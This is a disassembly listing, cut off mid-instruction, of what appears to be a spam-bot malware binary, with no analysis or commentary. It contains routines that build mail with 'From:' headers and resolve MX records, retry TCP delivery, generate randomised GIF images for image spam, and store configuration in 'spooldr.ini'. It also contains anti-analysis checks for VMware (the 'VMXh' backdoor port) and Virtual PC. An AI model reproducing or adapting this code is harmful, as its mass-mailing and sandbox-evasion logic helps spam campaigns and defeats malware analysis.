[ebp+var_11C4] push 0 push eax call sub_40CCD9 mov ebx, [ebp+arg_0] add esp, 0Ch push dword ptr [ebx] lea ecx, [edi+38h] call sub_401F3E mov esi, eax test esi, esi mov [ebp+var_24], esi jnz short loc_40269D mov ecx, ebx call sub_401AE5 push ebx call sub_40D0B6 pop ecx jmp loc_402918 ; --------------------------------------------------------------------------- loc_40269D: ; CODE XREF: sub_402624+64j push 0 push dword ptr [esi+4] lea ecx, [ebp+var_10] call sub_40DB5E push offset asc_418268 ; ";" lea ecx, [ebx+4] call sub_40DD00 and [ebp+var_C], 0 mov ebx, eax mov eax, [ebx+4] test eax, eax mov [ebp+var_18], eax jbe short loc_4026FD lea eax, [ebp+var_11C4] mov [ebp+var_4], eax mov esi, 12Ch loc_4026D5: ; CODE XREF: sub_402624+D4j mov eax, [ebp+var_C] cmp eax, 0Fh jge short loc_4026FA mov ecx, [ebx] push esi push dword ptr [ecx+eax*4] push [ebp+var_4] call ds:dword_4180F4 inc [ebp+var_C] mov eax, [ebp+var_C] add [ebp+var_4], esi cmp eax, [ebp+var_18] jb short loc_4026D5 loc_4026FA: ; CODE XREF: sub_402624+B7j mov esi, [ebp+var_24] loc_4026FD: ; CODE XREF: sub_402624+A1j mov ecx, ebx call sub_401F85 push ebx call sub_40D0B6 mov esi, [esi+8] test esi, esi pop ecx jz loc_4027C8 mov ecx, esi call sub_402E80 mov esi, eax push 0 mov [ebp+var_18], esi call sub_40CFAE push eax call sub_40CF2A mov eax, [esi+20h] mov ebx, [esi+24h] pop ecx pop ecx mov [ebp+var_24], eax call sub_40CF34 push 14h cdq pop ecx idiv ecx add edx, ebx push edx call sub_40CF34 push 14h pop ecx cdq idiv ecx mov ecx, esi add edx, [ebp+var_24] push edx call sub_402EBB mov ecx, esi call sub_402DEC test al, al jz short loc_4027C0 mov ebx, [esi+1Ch] mov esi, [esi+4] push 0 push ebx call sub_40C2F0 pop ecx pop ecx lea ecx, [ebp+var_C] mov [ebp+var_4], eax call sub_40DB48 push [ebp+var_4] lea ecx, [ebp+var_C] call sub_40DADA push 0 lea eax, [ebp+var_4] push eax push [ebp+var_C] push ebx push esi call sub_40C344 add esp, 14h push offset asc_418214 ; "^%" push offset aT ; "%^T" lea eax, [ebp+var_C] push eax lea ecx, [ebp+var_10] call sub_40DC4B lea ecx, [ebp+var_C] call sub_40DB59 loc_4027C0: ; CODE XREF: sub_402624+143j lea ecx, [ebp+var_18] call sub_401D97 loc_4027C8: ; CODE XREF: sub_402624+ECj mov ebx, [ebp+arg_0] mov eax, [ebx+8] test eax, eax mov esi, offset aFrom ; "From: " jz short loc_4027F1 push eax call sub_40CD83 test eax, eax pop ecx jbe short loc_4027F1 push dword ptr [ebx+8] lea eax, [ebp+var_10] push esi push eax mov ecx, edi call sub_401B9A loc_4027F1: ; CODE XREF: sub_402624+1B1j ; sub_402624+1BCj lea eax, [edi+14h] push eax push dword ptr [edi+8] lea ecx, [ebp+var_30] push dword ptr [edi+0Ch] call sub_4070A6 lea eax, [ebp+var_11C4] push eax lea eax, [ebp+var_10] push eax lea ecx, [ebp+var_30] call sub_407F86 push esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax mov ecx, edi call sub_401B3F test al, al jz short loc_402875 xor esi, esi cmp [ebp+var_8], esi jnz short loc_402835 xor eax, eax jmp short loc_40283E ; --------------------------------------------------------------------------- loc_402835: ; CODE XREF: sub_402624+20Bj push [ebp+var_8] call sub_40CD83 pop ecx loc_40283E: ; CODE XREF: sub_402624+20Fj mov ecx, [ebp+var_8] cmp byte ptr [eax+ecx-1], 40h jnz short loc_402853 push dword ptr [edi+8] lea ecx, [ebp+var_8] call sub_401AA0 loc_402853: ; CODE XREF: sub_402624+222j push esi lea eax, [ebp+var_11C4] push eax lea ecx, [ebp+var_14] call sub_40DB5E push esi push offset a@ ; "@" lea ecx, [ebp+var_14] call sub_40DB2F cmp eax, esi jnz short loc_402888 loc_402875: ; CODE XREF: sub_402624+204j mov ecx, ebx call sub_401AE5 push ebx call sub_40D0B6 pop ecx jmp loc_402908 ; --------------------------------------------------------------------------- loc_402888: ; CODE XREF: sub_402624+24Fj push esi inc eax push eax lea ecx, [ebp+var_1C] call sub_40DB5E xor ebx, ebx loc_402895: ; CODE XREF: sub_402624+2BDj lea eax, [ebp+var_20] push eax test ebx, ebx setnz al push eax push [ebp+var_1C] call sub_40C574 add esp, 0Ch test al, al jz loc_402947 push [ebp+var_20] call sub_40C627 pop ecx push 1Eh push 19h push eax lea ecx, [edi+4] call sub_4012B3 mov esi, eax test esi, esi mov [ebp+var_4], esi jnz loc_402969 lea ecx, [ebp+var_4] call sub_4021A1 inc ebx cmp ebx, 3 jl short loc_402895 push offset aTcpConnectionI ; "TCP connection is failed" lea ecx, [ebp+var_18] call sub_40DCEB lea eax, [ebp+var_18] push eax push 0FFFFFFFFh push [ebp+arg_0] mov ecx, edi call sub_402512 lea ecx, [ebp+var_18] loc_402903: ; CODE XREF: sub_402624+343j call sub_40DB59 loc_402908: ; CODE XREF: sub_402624+25Fj ; sub_402624+411j lea ecx, [ebp+var_2C] call sub_40DB59 lea ecx, [ebp+var_30] call sub_40DB59 loc_402918: ; CODE XREF: sub_402624+74j lea ecx, [ebp+var_14] call sub_40DB59 lea ecx, [ebp+var_8] call sub_40DB59 lea ecx, [ebp+var_20] call sub_40DB59 lea ecx, [ebp+var_1C] call sub_40DB59 lea ecx, [ebp+var_10] call sub_40DB59 pop edi pop esi pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_402947: ; CODE XREF: sub_402624+288j push offset aCanTGetMx ; "Can't get mx" lea ecx, [ebp+var_4] call sub_40DCEB lea eax, [ebp+var_4] push eax push 0FFFFFFFEh push [ebp+arg_0] mov ecx, edi call sub_402512 lea ecx, [ebp+var_4] jmp short loc_402903 ; --------------------------------------------------------------------------- loc_402969: ; CODE XREF: sub_402624+2ABj push [ebp+var_10] mov ecx, esi push [ebp+var_14] push [ebp+var_8] push dword ptr [edi+8] call sub_40D5DD test al, al mov ecx, [esi+0Ch] mov ebx, [esi+8] mov [ebp+var_C], ecx jnz loc_402A5C lea eax, [edi+50ACh] push eax call ds:dword_4180DC cmp ebx, [edi+50A4h] jnz short loc_4029CE lea eax, [edi+50A8h] inc dword ptr [eax] cmp dword ptr [eax], 1Eh jbe short loc_4029E5 push 1 push 1B7740h push dword ptr [edi+50A0h] call ds:dword_4180B0 test eax, eax jz short loc_4029E5 mov eax, [edi] mov ecx, edi call dword ptr [eax] jmp short loc_4029E5 ; --------------------------------------------------------------------------- loc_4029CE: ; CODE XREF: sub_402624+37Cj cmp ebx, 0FFFFFFFEh mov eax, ebx jnz short loc_4029D8 or eax, 0FFFFFFFFh loc_4029D8: ; CODE XREF: sub_402624+3AFj and dword ptr [edi+50A8h], 0 mov [edi+50A4h], eax loc_4029E5: ; CODE XREF: sub_402624+389j ; sub_402624+3A0j ... lea eax, [edi+50ACh] push eax call ds:dword_4180E0 lea eax, [ebx-190h] cmp eax, 63h ja short loc_402A3A mov ebx, [ebp+arg_0] add ebx, 8 mov eax, [ebx] test eax, eax jz short loc_402A14 push eax call sub_40CD83 test eax, eax pop ecx jnz short loc_402A1F loc_402A14: ; CODE XREF: sub_402624+3E3j lea eax, [ebp+var_8] push eax mov ecx, ebx call sub_40DC39 loc_402A1F: ; CODE XREF: sub_402624+3EEj push [ebp+arg_0] mov ecx, edi call sub_401E66 test al, al jz short loc_402A5C loc_402A2D: ; CODE XREF: sub_402624+45Cj lea ecx, [ebp+var_4] call sub_4021A1 jmp loc_402908 ; --------------------------------------------------------------------------- loc_402A3A: ; CODE XREF: sub_402624+3D7j cmp ebx, 22Ah jnz short loc_402A5C push offset aYahoo_com ; "yahoo.com" push [ebp+var_1C] call sub_40CD44 test eax, eax pop ecx pop ecx jnz short loc_402A5C mov [ebp+var_C], 4 loc_402A5C: ; CODE XREF: sub_402624+363j ; sub_402624+407j ... push dword ptr [esi+4] lea ecx, [ebp+var_18] call sub_40DCEB lea eax, [ebp+var_18] push eax push [ebp+var_C] mov ecx, edi push [ebp+arg_0] call sub_402512 lea ecx, [ebp+var_18] call sub_40DB59 jmp short loc_402A2D sub_402624 endp ; --------------------------------------------------------------------------- loc_402A82: ; DATA XREF: sub_402AD3+2Ao push esi push edi mov edi, ds:dword_4180B0 push 1 mov esi, ecx push 1 push dword ptr [esi+50A0h] call edi test eax, eax jz short loc_402ACE push ebx lea ebx, [esi+54h] loc_402AA0: ; CODE XREF: .text:00402ACBj mov ecx, ebx call sub_401CA6 test eax, eax jz short loc_402AB5 push eax mov ecx, esi call sub_402624 jmp short loc_402ABD ; --------------------------------------------------------------------------- loc_402AB5: ; CODE XREF: .text:00402AA9j push 64h call ds:dword_4180C8 loc_402ABD: ; CODE XREF: .text:00402AB3j push 1 push 1 push dword ptr [esi+50A0h] call edi test eax, eax jnz short loc_402AA0 pop ebx loc_402ACE: ; CODE XREF: .text:00402A9Aj pop edi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_402AD3 proc near ; CODE XREF: sub_405675+164p arg_0 = dword ptr 4 push esi mov esi, ecx push edi push [esp+8+arg_0] lea edi, [esi+5088h] mov ecx, edi call sub_402172 xor ecx, ecx cmp [esi+508Ch], ecx jbe short loc_402B12 xor edx, edx loc_402AF4: ; CODE XREF: sub_402AD3+3Dj mov eax, [edi] add eax, edx and dword ptr [eax+4], 0 inc ecx mov dword ptr [eax+0Ch], offset loc_402A82 mov [eax+8], esi add edx, 10h cmp ecx, [esi+508Ch] jb short loc_402AF4 loc_402B12: ; CODE XREF: sub_402AD3+1Dj pop edi pop esi retn 4 sub_402AD3 endp ; =============== S U B R O U T I N E ======================================= sub_402B17 proc near ; CODE XREF: sub_402C5A+22p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push dword ptr [eax+8] mov esi, ecx push dword ptr [eax] call sub_41430E pop ecx pop ecx mov [esi+0Ch], eax pop esi retn 4 sub_402B17 endp ; =============== S U B R O U T I N E ======================================= sub_402B31 proc near ; DATA XREF: sub_402C86+20o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push esi mov esi, [eax+34h] cmp dword ptr [esi+18h], 0 jbe short loc_402B5D push edi mov edi, [esp+8+arg_8] push edi push dword ptr [esi] push [esp+10h+arg_4] call sub_40CCF7 add [esi], edi add esp, 0Ch sub [esi+18h], edi mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_402B5D: ; CODE XREF: sub_402B31+Cj xor eax, eax pop esi retn sub_402B31 endp ; =============== S U B R O U T I N E ======================================= sub_402B61 proc near ; DATA XREF: sub_402DEC+13o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push esi mov esi, [eax+34h] mov eax, [esi+4] test eax, eax push edi mov edi, [esp+8+arg_8] jz short loc_402B83 mov ecx, [esi+1Ch] add ecx, edi push ecx push eax call sub_40CA55 jmp short loc_402B8B ; --------------------------------------------------------------------------- loc_402B83: ; CODE XREF: sub_402B61+12j push 1 push edi call sub_40CA2C loc_402B8B: ; CODE XREF: sub_402B61+20j pop ecx pop ecx mov [esi+4], eax mov eax, [esi+1Ch] add eax, [esi+4] push edi push [esp+0Ch+arg_4] push eax call sub_40CCF7 add [esi+1Ch], edi add esp, 0Ch mov eax, edi pop edi pop esi retn sub_402B61 endp ; =============== S U B R O U T I N E ======================================= sub_402BAC proc near ; CODE XREF: sub_401FF5+A5p ; sub_402E80+12p push esi mov esi, ecx push edi xor edi, edi lea ecx, [esi+8] mov [ecx], edi push edi mov [esi+20h], edi mov [esi+24h], edi mov [esi+28h], edi call sub_408034 mov [esi+18h], edi mov [esi+0Ch], edi mov [esi+10h], edi mov [esi+14h], edi mov [esi+4], edi mov [esi+1Ch], edi pop edi mov eax, esi pop esi retn sub_402BAC endp ; =============== S U B R O U T I N E ======================================= sub_402BDD proc near ; CODE XREF: sub_401D97+Cp ; sub_401DFE+Dp ... push esi mov esi, ecx mov eax, [esi+0Ch] test eax, eax jz short loc_402BEE push eax call sub_414373 pop ecx loc_402BEE: ; CODE XREF: sub_402BDD+8j mov eax, [esi+4] test eax, eax jz short loc_402BFC push eax call sub_40CCC5 pop ecx loc_402BFC: ; CODE XREF: sub_402BDD+16j lea ecx, [esi+8] pop esi jmp sub_4093F0 sub_402BDD endp ; =============== S U B R O U T I N E ======================================= sub_402C05 proc near ; CODE XREF: sub_402C38+Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi push ebx mov esi, ecx call sub_40D0BB pop ecx lea edi, [esi+8] push eax mov ecx, edi call sub_408034 push ebx push [esp+10h+arg_0] push dword ptr [edi] call sub_40CCF7 add esp, 0Ch pop edi mov [esi+28h], ebx pop esi pop ebx retn 8 sub_402C05 endp ; =============== S U B R O U T I N E ======================================= sub_402C38 proc near ; CODE XREF: sub_402C5A+12p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push [esp+4+arg_4] mov esi, ecx push [esp+8+arg_0] call sub_402C05 mov eax, [esp+4+arg_8] mov [esi+20h], eax mov eax, [esp+4+arg_C] mov [esi+24h], eax pop esi retn 10h sub_402C38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C5A proc near ; CODE XREF: sub_402E80+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push esi push [ebp+arg_C] mov esi, ecx push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_402C38 mov eax, [ebp+arg_10] push [ebp+arg_14] mov ecx, esi mov [esi+14h], eax call sub_402B17 pop esi pop ebp retn 18h sub_402C5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C86 proc near ; CODE XREF: sub_401FF5+B9p var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, ecx push edi lea edi, [esi+8] xor bl, bl cmp dword ptr [edi], 0 jnz loc_402DE3 mov eax, [ebp+arg_4] mov [esi+18h], eax mov eax, [ebp+arg_0] push offset sub_402B31 push esi mov [esi], eax call sub_413720 test eax, eax pop ecx pop ecx mov [esi+10h], eax jz loc_402DDE and [ebp+arg_0], 0 mov ecx, [eax+0Ch] mov [esi+14h], ecx lea ecx, [ebp+arg_0] push ecx inc bl push eax jmp loc_402DCD ; --------------------------------------------------------------------------- loc_402CD6: ; CODE XREF: sub_402C86+150j mov eax, [ebp+arg_0] cmp eax, 2 jnz short loc_402D40 push dword ptr [esi+10h] call sub_41344D test eax, eax pop ecx jz loc_402DA1 mov eax, [esi+10h] mov ecx, [eax+20h] mov [esi+20h], ecx mov ecx, [eax+24h] mov eax, [esi+20h] imul eax, ecx push eax mov [esi+24h], ecx mov [esi+28h], eax call sub_40D0BB pop ecx push eax mov ecx, edi call sub_408034 push dword ptr [esi+28h] push dword ptr [edi] push dword ptr [esi+10h] call sub_4139FE add esp, 0Ch test eax, eax jnz loc_402DC6 push eax mov ecx, edi call sub_408034 call sub_414233 jmp loc_402DC6 ; --------------------------------------------------------------------------- loc_402D40: ; CODE XREF: sub_402C86+56j cmp eax, 4 jz short loc_402D7B cmp eax, 1 jnz short loc_402D59 push dword ptr [esi+10h] call sub_413334 test eax, eax pop ecx jz short loc_402DA1 jmp short loc_402DC6 ; --------------------------------------------------------------------------- loc_402D59: ; CODE XREF: sub_402C86+C2j cmp eax, 3 jnz short loc_402DC6 and [ebp+arg_4], 0 lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push dword ptr [esi+10h] call sub_413631 add esp, 0Ch test eax, eax jnz short loc_402DBC xor bl, bl loc_402D7B: ; CODE XREF: sub_402C86+BDj test bl, bl jz short loc_402DE3 mov eax, [esi+10h] mov eax, [eax+10h] push dword ptr [eax+8] push dword ptr [eax] call sub_41430E push dword ptr [esi+10h] mov [esi+0Ch], eax call sub_41312A add esp, 0Ch test eax, eax jnz short loc_402DE3 loc_402DA1: ; CODE XREF: sub_402C86+63j ; sub_402C86+CFj ... call sub_414233 xor bl, bl jmp short loc_402DE3 ; --------------------------------------------------------------------------- loc_402DAA: ; CODE XREF: sub_402C86+13Aj lea eax, [ebp+arg_4] push eax push dword ptr [esi+10h] call sub_4130C4 test eax, eax pop ecx pop ecx jz short loc_402DC4 loc_402DBC: ; CODE XREF: sub_402C86+F1j cmp [ebp+arg_4], 0 jnz short loc_402DAA jmp short loc_402DC6 ; --------------------------------------------------------------------------- loc_402DC4: ; CODE XREF: sub_402C86+134j xor bl, bl loc_402DC6: ; CODE XREF: sub_402C86+A2j ; sub_402C86+B5j ... lea eax, [ebp+arg_0] push eax push dword ptr [esi+10h] loc_402DCD: ; CODE XREF: sub_402C86+4Bj call sub_41304B test eax, eax pop ecx pop ecx jnz loc_402CD6 jmp short loc_402DA1 ; --------------------------------------------------------------------------- loc_402DDE: ; CODE XREF: sub_402C86+34j call sub_414233 loc_402DE3: ; CODE XREF: sub_402C86+11j ; sub_402C86+F7j ... pop edi pop esi mov al, bl pop ebx leave retn 8 sub_402C86 endp ; =============== S U B R O U T I N E ======================================= sub_402DEC proc near ; CODE XREF: sub_402624+13Cp var_C = dword ptr -0Ch push ebx push esi mov esi, ecx xor ebx, ebx push offset a89a ; "89a" mov [esi+1Ch], ebx call sub_413B0A mov [esp+0Ch+var_C], offset sub_402B61 push esi call sub_413A73 cmp eax, ebx pop ecx pop ecx mov [esi+10h], eax jnz short loc_402E1E loc_402E15: ; CODE XREF: sub_402DEC+50j ; sub_402DEC+6Bj ... call sub_414233 xor al, al jmp short loc_402E7D ; --------------------------------------------------------------------------- loc_402E1E: ; CODE XREF: sub_402DEC+27j mov ecx, [esi+0Ch] mov edx, [esi+24h] push edi mov edi, [esi+20h] push ecx push dword ptr [esi+14h] push dword ptr [ecx] push edx push edi push eax call sub_413C3B add esp, 18h test eax, eax pop edi jz short loc_402E15 mov eax, [esi+24h] mov ecx, [esi+20h] push ebx push ebx push eax push ecx push ebx push ebx push dword ptr [esi+10h] call sub_41403A add esp, 1Ch test eax, eax jz short loc_402E15 push dword ptr [esi+28h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_4141CB add esp, 0Ch test eax, eax jz short loc_402E15 push dword ptr [esi+10h] call sub_413B1E test eax, eax pop ecx jz short loc_402E15 mov al, 1 loc_402E7D: ; CODE XREF: sub_402DEC+30j pop esi pop ebx retn sub_402DEC endp ; =============== S U B R O U T I N E ======================================= sub_402E80 proc near ; CODE XREF: sub_402624+F4p push esi push edi push 2Ch mov esi, ecx call sub_40D0BB test eax, eax pop ecx jz short loc_402E9B mov ecx, eax call sub_402BAC mov edi, eax jmp short loc_402E9D ; --------------------------------------------------------------------------- loc_402E9B: ; CODE XREF: sub_402E80+Ej xor edi, edi loc_402E9D: ; CODE XREF: sub_402E80+19j push dword ptr [esi+0Ch] mov ecx, edi push dword ptr [esi+14h] push dword ptr [esi+24h] push dword ptr [esi+20h] push dword ptr [esi+28h] push dword ptr [esi+8] call sub_402C5A mov eax, edi pop edi pop esi retn sub_402E80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402EBB proc near ; CODE XREF: sub_402624+135p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi mov esi, ecx push edi lea eax, [esi+8] xor edi, edi cmp [eax], edi mov [ebp+var_8], eax jz loc_402FC5 mov eax, [ebp+arg_0] cmp eax, [esi+20h] jbe loc_402FC5 push ebx mov ebx, [ebp+arg_4] cmp ebx, [esi+24h] jbe loc_402FC4 push edi call sub_40CFAE push eax call sub_40CF2A mov eax, [ebp+arg_0] imul eax, ebx push eax mov [ebp+var_C], eax call sub_40D0BB add esp, 0Ch xor ebx, ebx cmp [esi+24h], edi mov [ebp+var_4], eax jbe short loc_402F66 mov eax, [esi+20h] loc_402F19: ; CODE XREF: sub_402EBB+A9j mov ecx, [ebp+var_8] push eax imul eax, ebx add eax, [ecx] push eax mov eax, [ebp+var_4] add eax, edi push eax call sub_40CCF7 mov eax, [esi+20h] mov ecx, [ebp+arg_0] sub ecx, eax push ecx lea ecx, [ebx+2] imul ecx, eax sub ecx, [ebp+arg_0] add edi, eax mov eax, [ebp+var_8] add ecx, [eax] mov eax, [ebp+var_4] push ecx add eax, edi push eax call sub_40CCF7 mov eax, [esi+20h] mov ecx, [ebp+arg_0] sub ecx, eax add esp, 18h add edi, ecx inc ebx cmp ebx, [esi+24h] jb short loc_402F19 loc_402F66: ; CODE XREF: sub_402EBB+59j mov eax, [esi+24h] mov ebx, [ebp+arg_4] dec eax cmp eax, ebx jnb short loc_402FA7 mov edi, eax imul edi, [ebp+arg_0] add edi, [ebp+var_4] sub ebx, eax loc_402F7C: ; CODE XREF: sub_402EBB+EAj push [ebp+arg_0] call sub_40CF34 cdq push 0Ah pop ecx idiv ecx mov eax, [esi+24h] sub eax, edx dec eax imul eax, [ebp+arg_0] add eax, [ebp+var_4] push eax push edi call sub_40CCF7 add edi, [ebp+arg_0] add esp, 0Ch dec ebx jnz short loc_402F7C loc_402FA7: ; CODE XREF: sub_402EBB+B4j mov eax, [ebp+arg_0] push [ebp+var_4] mov ecx, [ebp+var_8] mov [esi+20h], eax mov eax, [ebp+arg_4] mov [esi+24h], eax mov eax, [ebp+var_C] mov [esi+28h], eax call sub_408034 loc_402FC4: ; CODE XREF: sub_402EBB+2Dj pop ebx loc_402FC5: ; CODE XREF: sub_402EBB+14j ; sub_402EBB+20j pop edi pop esi leave retn 8 sub_402EBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402FCB proc near ; CODE XREF: sub_403CCB+34p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push esi mov esi, ecx lea ecx, [ebp+var_4] call sub_40DB48 push 105h lea ecx, [ebp+var_4] call sub_40DADA push [ebp+var_4] push 104h call ds:dword_4180F8 push offset aSpooldr_ini ; "\\spooldr.ini" lea ecx, [ebp+var_4] call sub_401AA0 push 8 call sub_40D0BB test eax, eax pop ecx jz short loc_403017 mov ecx, eax call sub_40CC41 jmp short loc_403019 ; --------------------------------------------------------------------------- loc_403017: ; CODE XREF: sub_402FCB+41j xor eax, eax loc_403019: ; CODE XREF: sub_402FCB+4Aj push dword_421078 mov [esi], eax mov edx, [eax] push 80000002h mov ecx, eax call dword ptr [edx] push 0Ch call sub_40D0BB test eax, eax pop ecx jz short loc_403041 mov ecx, eax call sub_40C9A6 jmp short loc_403043 ; --------------------------------------------------------------------------- loc_403041: ; CODE XREF: sub_402FCB+6Bj xor eax, eax loc_403043: ; CODE XREF: sub_402FCB+74j push offset aConfig ; "config" push [ebp+var_4] mov [esi+4], eax mov edx, [eax] mov ecx, eax call dword ptr [edx] lea ecx, [ebp+var_4] call sub_40DB59 mov eax, esi pop esi leave retn sub_402FCB endp ; =============== S U B R O U T I N E ======================================= sub_403061 proc near ; CODE XREF: sub_403DAE+25p push esi push edi mov edi, ecx xor esi, esi loc_403067: ; CODE XREF: sub_403061+12j mov ecx, [edi+esi*4] mov eax, [ecx] call dword ptr [eax+8] inc esi cmp esi, 2 jb short loc_403067 pop edi pop esi retn sub_403061 endp ; =============== S U B R O U T I N E ======================================= sub_403078 proc near ; CODE XREF: sub_403CCB+5Ap arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx mov ecx, [esi] push dword_421070 mov eax, [ecx] call dword ptr [eax+0Ch] test al, al jnz short loc_4030A4 push [esp+4+arg_0] mov ecx, [esi+4] push dword_421070 mov eax, [ecx] call dword ptr [eax+0Ch] jmp short loc_4030A6 ; --------------------------------------------------------------------------- loc_4030A4: ; CODE XREF: sub_403078+16j mov al, 1 loc_4030A6: ; CODE XREF: sub_403078+2Aj pop esi retn 4 sub_403078 endp ; =============== S U B R O U T I N E ======================================= sub_4030AA proc near ; CODE XREF: sub_403CCB+B3p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx mov ecx, [esi] push dword_421070 mov eax, [ecx] call dword ptr [eax+10h] test al, al jz short loc_4030DD push [esp+4+arg_0] mov ecx, [esi+4] push dword_421070 mov eax, [ecx] call dword ptr [eax+10h] test al, al jz short loc_4030DD xor eax, eax inc eax jmp short loc_4030DF ; --------------------------------------------------------------------------- loc_4030DD: ; CODE XREF: sub_4030AA+16j ; sub_4030AA+2Cj xor eax, eax loc_4030DF: ; CODE XREF: sub_4030AA+31j pop esi retn 4 sub_4030AA endp ; =============== S U B R O U T I N E ======================================= sub_4030E3 proc near ; CODE XREF: sub_403CCB+4Fp arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx mov ecx, [esi] push dword_421074 mov eax, [ecx] call dword ptr [eax+0Ch] test al, al jnz short loc_40310F push [esp+4+arg_0] mov ecx, [esi+4] push dword_421074 mov eax, [ecx] call dword ptr [eax+0Ch] jmp short loc_403111 ; --------------------------------------------------------------------------- loc_40310F: ; CODE XREF: sub_4030E3+16j mov al, 1 loc_403111: ; CODE XREF: sub_4030E3+2Aj pop esi retn 4 sub_4030E3 endp ; =============== S U B R O U T I N E ======================================= sub_403115 proc near ; CODE XREF: sub_403ED0+24Ap arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx mov ecx, [esi] push dword_421074 mov eax, [ecx] call dword ptr [eax+10h] test al, al jz short loc_403148 push [esp+4+arg_0] mov ecx, [esi+4] push dword_421074 mov eax, [ecx] call dword ptr [eax+10h] test al, al jz short loc_403148 xor eax, eax inc eax jmp short loc_40314A ; --------------------------------------------------------------------------- loc_403148: ; CODE XREF: sub_403115+16j ; sub_403115+2Cj xor eax, eax loc_40314A: ; CODE XREF: sub_403115+31j pop esi retn 4 sub_403115 endp ; --------------------------------------------------------------------------- loc_40314E: ; CODE XREF: sub_403389+13p push 14h push offset dword_420358 call __SEH_prolog mov byte ptr [ebp-19h], 0 and dword ptr [ebp-4], 0 push ebx mov ebx, 0 mov eax, 1 ; --------------------------------------------------------------------------- db 0Fh, 3Fh, 7 dd 0FDB850Bh, 5BE74594h, 458B35EBh, 0DC4589ECh, 8BDC458Bh dd 45890440h, 0E0458BE0h, 0A48883h, 8BFF0000h, 808BE045h dd 0B8h, 8B04C083h, 8189E04Dh, 0B8h, 0C3FFC883h, 83E8658Bh dd 8AFFFC4Dh, 0ECE8E745h, 0C3000141h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4031BC proc near ; CODE XREF: sub_403389+6p var_19 = byte ptr -19h ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset dword_420368 call __SEH_prolog mov [ebp+var_19], 1 and [ebp+ms_exc.disabled], 0 push edx push ecx push ebx mov eax, 564D5868h mov ebx, 0 mov ecx, 0Ah mov edx, 5658h in eax, dx cmp ebx, 564D5868h setz [ebp+var_19] pop ebx pop ecx pop edx jmp short loc_403202 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] mov [ebp+var_19], 0 loc_403202: ; CODE XREF: sub_4031BC+39j or [ebp+ms_exc.disabled], 0FFFFFFFFh mov al, [ebp+var_19] call __SEH_epilog retn sub_4031BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40320F proc near ; CODE XREF: sub_403389+7Ap var_114 = byte ptr -114h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 var_3 = byte ptr -3 push ebp mov ebp, esp sub esp, 114h push ebx lea eax, [ebp+var_10] push eax lea eax, [ebp+var_114] push eax push 104h push offset aSpooldr_ini_0 ; "spooldr.ini" call ds:dword_418108 lea eax, [ebp+var_114] push eax call ds:dword_418104 cmp eax, 0FFFFFFFFh jnz short loc_4032C4 xor ebx, ebx push ebx push 80h push 2 push ebx push 7 push 40000000h lea eax, [ebp+var_114] push eax call ds:dword_418100 cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_403271 xor al, al jmp short loc_4032C6 ; --------------------------------------------------------------------------- loc_403271: ; CODE XREF: sub_40320F+5Cj push esi push edi mov edi, ds:dword_4180FC loc_403279: ; CODE XREF: sub_40320F+A8j push 0 lea eax, [ebp+var_C] push eax lea esi, dword_421218[ebx] push dword ptr [esi] call sub_40CD83 pop ecx push eax push dword ptr [esi] push [ebp+var_8] call edi push 0 lea eax, [ebp+var_C] push eax push 2 lea eax, [ebp+var_4] push eax push [ebp+var_8] mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah call edi add ebx, 4 cmp ebx, 494h jb short loc_403279 push [ebp+var_8] call ds:dword_4180A4 pop edi pop esi loc_4032C4: ; CODE XREF: sub_40320F+35j mov al, 1 loc_4032C6: ; CODE XREF: sub_40320F+60j pop ebx leave retn sub_40320F endp ; =============== S U B R O U T I N E ======================================= sub_4032C9 proc near ; CODE XREF: sub_403389+36p arg_0 = dword ptr 4 push esi push 14h push 0 mov esi, offset dword_421CD8 push esi call sub_40CCD9 add esp, 0Ch push 1 push esi call ds:dword_418018 test eax, eax jnz short loc_4032ED loc_4032E9: ; CODE XREF: sub_4032C9+33j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_4032ED: ; CODE XREF: sub_4032C9+1Ej push 0 push 0 push 1 push esi call ds:dword_41801C test eax, eax jz short loc_4032E9 mov eax, 